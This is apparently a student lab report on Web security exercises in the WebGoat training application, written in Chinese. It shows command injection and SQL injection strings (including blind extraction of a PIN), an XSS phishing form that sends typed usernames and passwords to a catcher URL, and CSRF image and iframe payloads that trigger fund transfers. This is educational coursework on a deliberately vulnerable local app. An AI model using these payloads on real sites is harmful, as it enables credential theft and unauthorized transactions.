其他分享
首页 > 其他分享> > 2019-2020-2 20175303柴轩达《网络对抗技术》Exp9 Web安全基础

2019-2020-2 20175303柴轩达《网络对抗技术》Exp9 Web安全基础

作者:互联网

2019-2020-2 20175303柴轩达《网络对抗技术》Exp9 Web安全基础

目录

基础知识

实验过程

安装WebGoat与JDK配置

下载webgoat-container-7.0.1-war-exec.jar

使用java -jar webgoat-container-7.0.1-war-exec.jar命令开启WebGoat

开启后界面应如下所示

打开浏览器,输入localhost:8080/WebGoat,通过默认用户名密码登录

登陆后的界面左侧功能栏只有Admin Functions一项

通过配置JDK加载其他功能项,终端输入java -versionjavac -version出现以下界面说明配置成功

配置JDK后重复以上步骤,打开浏览器登录后功能栏如下

注入攻击:Injection Flaws

Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施下一步渗透攻击。

左侧功能栏选中Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改

在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"

点击view,查看执行指令后的网络端口使用情况和IP地址

在选中的城市编号Value值中添加or 1=1

点击Go!显示所有天气数据

输入查询语句101 AND 1=2,发现页面返回帐号无效

针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ),提示Invalid account number表示PIN<5000,使用二分法不断缩小范围

最终得出pin的值为2364,即语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );返回有效

经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。

同理继续判断第二个字符。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

依次判断其他字符,最后得出PIN字段的值为Jill

XSS攻击

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。

点击提交后攻击成功

点击提交后攻击成功

CSRF攻击

在title中随便输入,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=327&menu=900&transferFunds=1888" width="1" height="1" />

以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

在title框中随便输入,message框中输入代码:

<iframe src="attack?Screen=323&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=323&menu=900&transferFunds=CONFIRM"> </iframe>

点击Message List中生成以Title命名的链接,攻击成功!

问题回答

1.SQL注入攻击原理,如何防

2.XSS攻击的原理,如何防御

3.CSRF攻击原理,如何防御

实验中遇到的问题

SQL注入攻击中的命令注入,明明想要看到的信息已经有了,但并没有显示攻击成功

我看其他几个同学的实验也是这样做的,又试了几次还是没显示成功。

实验体会

本次实验不算太难,每项攻击都是有固定的方法,攻击语句原理老师讲的也比较清楚。做实验之前已经看过其他同学遇到过的问题,实践过程中这些问题已经有具体的解决方案了,所以整个实验比较顺利。

标签:Web,Exp9,20175303,XSS,攻击,用户,网站,SQL,输入
来源: https://www.cnblogs.com/cxd20175303/p/12982422.html